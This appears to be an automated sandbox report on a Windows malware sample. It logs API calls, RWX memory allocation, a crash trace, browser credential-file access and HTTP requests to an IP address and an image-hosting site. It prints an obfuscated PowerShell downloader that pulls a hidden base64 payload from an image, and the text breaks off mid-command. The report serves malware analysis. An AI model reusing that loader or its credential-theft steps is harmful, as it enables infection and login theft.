CryptExportKey Oct. 23, 2023, 1:12 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005564f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 23, 2023, 1:12 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005564f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 23, 2023, 1:12 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005564f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 23, 2023, 1:12 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005564f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 23, 2023, 1:12 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005564f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 23, 2023, 1:12 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005564f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 23, 2023, 1:12 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00555c78 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 23, 2023, 1:12 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00555c78 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 23, 2023, 1:12 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004cd7b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 23, 2023, 1:12 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004cde38 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 23, 2023, 1:12 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004cde38 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 23, 2023, 1:12 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004cde38 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 23, 2023, 1:12 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004cd8f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 23, 2023, 1:12 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004cd8f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 23, 2023, 1:12 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004cd8f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 23, 2023, 1:12 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004cd8f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 23, 2023, 1:12 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004cd8f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 23, 2023, 1:12 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004cd8f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Oct. 23, 2023, 1:12 p.m.		1	1	0

One or more processes crashed (1 event)

Time & API	Arguments	Status	Return	Repeated
__exception__ Oct. 23, 2023, 1:12 p.m.	stacktrace: 0x8d0794 0x8d0702 0x8d055d 0x8d0084 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x739f2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x73a0264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x73a02e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x73ab74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x73ab7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x73b41dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x73b41e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x73b41f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x73b4416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x7459f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x74727f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x74724de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x774a9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x774a9ea5 exception.instruction_r: 8b 01 8b 40 28 ff 10 89 45 e0 8b 4d dc ff 15 1c exception.instruction: mov eax, dword ptr [ecx] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x8d3a3f registers.esp: 2748136 registers.edi: 2748160 registers.eax: 0 registers.ebp: 2748172 registers.edx: 195 registers.ebx: 2748412 registers.esi: 42102716 registers.ecx: 0	1	0	0

Time & API

Arguments

Status

Return

Repeated

__exception__

Oct. 23, 2023, 1:12 p.m.

stacktrace:

0x8d0794
0x8d0702
0x8d055d
0x8d0084
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x739f2652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x73a0264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x73a02e95
DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x73ab74ec
DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x73ab7610
CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x73b41dc4
CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x73b41e67
CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x73b41f7a
_CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x73b4416a
_CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x7459f5a3
CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x74727f16
_CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x74724de3
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x774a9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x774a9ea5

exception.instruction_r: 8b 01 8b 40 28 ff 10 89 45 e0 8b 4d dc ff 15 1c
exception.instruction: mov eax, dword ptr [ecx]
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x8d3a3f
registers.esp: 2748136
registers.edi: 2748160
registers.eax: 0
registers.ebp: 2748172
registers.edx: 195
registers.ebx: 2748412
registers.esi: 42102716
registers.ecx: 0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (2 events)

suspicious_features	GET method with no useragent header, Connection to IP address				suspicious_request	GET http://193.42.33.51/nix.txt
suspicious_features	GET method with no useragent header				suspicious_request	GET https://imageupload.io/ib/ws8MAJ6eptiLfGu_1697738492.jpg

Performs some HTTP requests (2 events)

request	GET http://193.42.33.51/nix.txt
request	GET https://imageupload.io/ib/ws8MAJ6eptiLfGu_1697738492.jpg

Allocates read-write-execute memory (usually to unpack itself) (50 out of 391 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Oct. 23, 2023, 1:12 p.m.	process_identifier: 1776 region_size: 327680 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01fe0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 23, 2023, 1:12 p.m.	process_identifier: 1776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01ff0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 23, 2023, 1:12 p.m.	process_identifier: 1776 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73971000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 23, 2023, 1:12 p.m.	process_identifier: 1776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0205a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 23, 2023, 1:12 p.m.	process_identifier: 1776 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73972000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 23, 2023, 1:12 p.m.	process_identifier: 1776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02052000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 23, 2023, 1:12 p.m.	process_identifier: 1776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02642000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 23, 2023, 1:12 p.m.	process_identifier: 1776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01ff1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 23, 2023, 1:12 p.m.	process_identifier: 1776 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01ff2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 23, 2023, 1:12 p.m.	process_identifier: 1776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0266a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 23, 2023, 1:12 p.m.	process_identifier: 1776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02643000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 23, 2023, 1:12 p.m.	process_identifier: 1776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02644000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 23, 2023, 1:12 p.m.	process_identifier: 1776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0267b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 23, 2023, 1:12 p.m.	process_identifier: 1776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02677000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 23, 2023, 1:12 p.m.	process_identifier: 1776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0205b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 23, 2023, 1:12 p.m.	process_identifier: 1776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02662000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 23, 2023, 1:12 p.m.	process_identifier: 1776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02675000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 23, 2023, 1:12 p.m.	process_identifier: 1776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02645000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 23, 2023, 1:12 p.m.	process_identifier: 1776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0266c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 23, 2023, 1:12 p.m.	process_identifier: 1776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02950000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 23, 2023, 1:12 p.m.	process_identifier: 1776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02646000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 23, 2023, 1:12 p.m.	process_identifier: 1776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0267c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 23, 2023, 1:12 p.m.	process_identifier: 1776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02663000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 23, 2023, 1:12 p.m.	process_identifier: 1776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02664000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 23, 2023, 1:12 p.m.	process_identifier: 1776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02665000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 23, 2023, 1:12 p.m.	process_identifier: 1776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02666000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 23, 2023, 1:12 p.m.	process_identifier: 1776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02667000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 23, 2023, 1:12 p.m.	process_identifier: 1776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02668000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 23, 2023, 1:12 p.m.	process_identifier: 1776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02669000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 23, 2023, 1:12 p.m.	process_identifier: 1776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ac0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 23, 2023, 1:12 p.m.	process_identifier: 1776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ac1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 23, 2023, 1:12 p.m.	process_identifier: 1776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ac2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 23, 2023, 1:12 p.m.	process_identifier: 1776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ac3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 23, 2023, 1:12 p.m.	process_identifier: 1776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ac4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 23, 2023, 1:12 p.m.	process_identifier: 1776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ac5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 23, 2023, 1:12 p.m.	process_identifier: 1776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ac6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 23, 2023, 1:12 p.m.	process_identifier: 1776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ac7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 23, 2023, 1:12 p.m.	process_identifier: 1776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ac8000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 23, 2023, 1:12 p.m.	process_identifier: 1776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ac9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 23, 2023, 1:12 p.m.	process_identifier: 1776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02aca000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 23, 2023, 1:12 p.m.	process_identifier: 1776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02acb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 23, 2023, 1:12 p.m.	process_identifier: 1776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02acc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 23, 2023, 1:12 p.m.	process_identifier: 1776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02acd000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 23, 2023, 1:12 p.m.	process_identifier: 1776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ace000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 23, 2023, 1:12 p.m.	process_identifier: 1776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02acf000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 23, 2023, 1:12 p.m.	process_identifier: 1776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02b10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 23, 2023, 1:12 p.m.	process_identifier: 1776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02b11000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 23, 2023, 1:12 p.m.	process_identifier: 1776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02b12000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 23, 2023, 1:12 p.m.	process_identifier: 1776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02b13000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 23, 2023, 1:12 p.m.	process_identifier: 1776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02b14000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Steals private information from local Internet browsers (6 events)

file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Login Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Login Data
file	C:\Users\test22\AppData\Local\Chromium\User Data
file	C:\Users\test22\AppData\Local\MapleStudio\ChromePlus\User Data
file	C:\Users\test22\AppData\Local\Yandex\YandexBrowser\User Data

Looks up the external IP address (1 event)

domain

api.ipify.org

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (3 events)

cmdline	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'JmcURONçuXSBpmcURONçuXSG0mcURONçuXSYQBnmcURONçuXSGUmcURONçuXSVQBymcURONçuXSGwmcURONçuXSImcURONçuXSmcURONçuXS9mcURONçuXSCmcURONçuXSmcURONçuXSJwBomcURONçuXSHQmcURONçuXSdmcURONçuXSBwmcURONçuXSHMmcURONçuXSOgmcURONçuXSvmcURONçuXSC8mcURONçuXSaQBtmcURONçuXSGEmcURONçuXSZwBlmcURONçuXSHUmcURONçuXScmcURONçuXSBsmcURONçuXSG8mcURONçuXSYQBkmcURONçuXSC4mcURONçuXSaQBvmcURONçuXSC8mcURONçuXSaQBimcURONçuXSC8mcURONçuXSdwBzmcURONçuXSDgmcURONçuXSTQBBmcURONçuXSEomcURONçuXSNgBlmcURONçuXSHmcURONçuXSmcURONçuXSdmcURONçuXSBpmcURONçuXSEwmcURONçuXSZgBHmcURONçuXSHUmcURONçuXSXwmcURONçuXSxmcURONçuXSDYmcURONçuXSOQmcURONçuXS3mcURONçuXSDcmcURONçuXSMwmcURONçuXS4mcURONçuXSDQmcURONçuXSOQmcURONçuXSymcURONçuXSC4mcURONçuXSagBwmcURONçuXSGcmcURONçuXSJwmcURONçuXS7mcURONçuXSCQmcURONçuXSdwBlmcURONçuXSGImcURONçuXSQwBsmcURONçuXSGkmcURONçuXSZQBumcURONçuXSHQmcURONçuXSImcURONçuXSmcURONçuXS9mcURONçuXSCmcURONçuXSmcURONçuXSTgBlmcURONçuXSHcmcURONçuXSLQBPmcURONçuXSGImcURONçuXSagBlmcURONçuXSGMmcURONçuXSdmcURONçuXSmcURONçuXSgmcURONçuXSFMmcURONçuXSeQBzmcURONçuXSHQmcURONçuXSZQBtmcURONçuXSC4mcURONçuXSTgBlmcURONçuXSHQmcURONçuXSLgBXmcURONçuXSGUmcURONçuXSYgBDmcURONçuXSGwmcURONçuXSaQBlmcURONçuXSG4mcURONçuXSdmcURONçuXSmcURONçuXS7mcURONçuXSCQmcURONçuXSaQBtmcURONçuXSGEmcURONçuXSZwBlmcURONçuXSEImcURONçuXSeQB0mcURONçuXSGUmcURONçuXScwmcURONçuXSgmcURONçuXSD0mcURONçuXSImcURONçuXSmcURONçuXSkmcURONçuXSHcmcURONçuXSZQBimcURONçuXSEMmcURONçuXSbmcURONçuXSBpmcURONçuXSGUmcURONçuXSbgB0mcURONçuXSC4mcURONçuXSRmcURONçuXSBvmcURONçuXSHcmcURONçuXSbgBsmcURONçuXSG8mcURONçuXSYQBkmcURONçuXSEQmcURONçuXSYQB0mcURONçuXSGEmcURONçuXSKmcURONçuXSmcURONçuXSkmcURONçuXSGkmcURONçuXSbQBhmcURONçuXSGcmcURONçuXSZQBVmcURONçuXSHImcURONçuXSbmcURONçuXSmcURONçuXSpmcURONçuXSDsmcURONçuXSJmcURONçuXSBpmcURONçuXSG0mcURONçuXSYQBnmcURONçuXSGUmcURONçuXSVmcURONçuXSBlmcURONçuXSHgmcURONçuXSdmcURONçuXSmcURONçuXSgmcURONçuXSD0mcURONçuXSImcURONçuXSBbmcURONçuXSFMmcURONçuXSeQBzmcURONçuXSHQmcURONçuXSZQBtmcURONçuXSC4mcURONçuXSVmcURONçuXSBlmcURONçuXSHgmcURONçuXSdmcURONçuXSmcURONçuXSumcURONçuXSEUmcURONçuXSbgBjmcURONçuXSG8mcURONçuXSZmcURONçuXSBpmcURONçuXSG4mcURONçuXSZwBdmcURONçuXSDomcURONçuXSOgBVmcURONçuXSFQmcURONçuXSRgmcURONçuXS4mcURONçuXSC4mcURONçuXSRwBlmcURONçuXSHQmcURONçuXSUwB0mcURONçuXSHImcURONçuXSaQBumcURONçuXSGcmcURONçuXSKmcURONçuXSmcURONçuXSkmcURONçuXSGkmcURONçuXSbQBhmcURONçuXSGcmcURONçuXSZQBCmcURONçuXSHkmcURONçuXSdmcURONçuXSBlmcURONçuXSHMmcURONçuXSKQmcURONçuXS7mcURONçuXSCQmcURONçuXScwB0mcURONçuXSGEmcURONçuXScgB0mcURONçuXSEYmcURONçuXSbmcURONçuXSBhmcURONçuXSGcmcURONçuXSImcURONçuXSmcURONçuXS9mcURONçuXSCmcURONçuXSmcURONçuXSJwmcURONçuXS8mcURONçuXSDwmcURONçuXSQgBBmcURONçuXSFMmcURONçuXSRQmcURONçuXS2mcURONçuXSDQmcURONçuXSXwBTmcURONçuXSFQmcURONçuXSQQBSmcURONçuXSFQmcURONçuXSPgmcURONçuXS+mcURONçuXSCcmcURONçuXSOwmcURONçuXSkmcURONçuXSGUmcURONçuXSbgBkmcURONçuXSEYmcURONçuXSbmcURONçuXSBhmcURONçuXSGcmcURONçuXSImcURONçuXSmcURONçuXS9mcURONçuXSCmcURONçuXSmcURONçuXSJwmcURONçuXS8mcURONçuXSDwmcURONçuXSQgBBmcURONçuXSFMmcURONçuXSRQmcURONçuXS2mcURONçuXSDQmcURONçuXSXwBFmcURONçuXSE4mcURONçuXSRmcU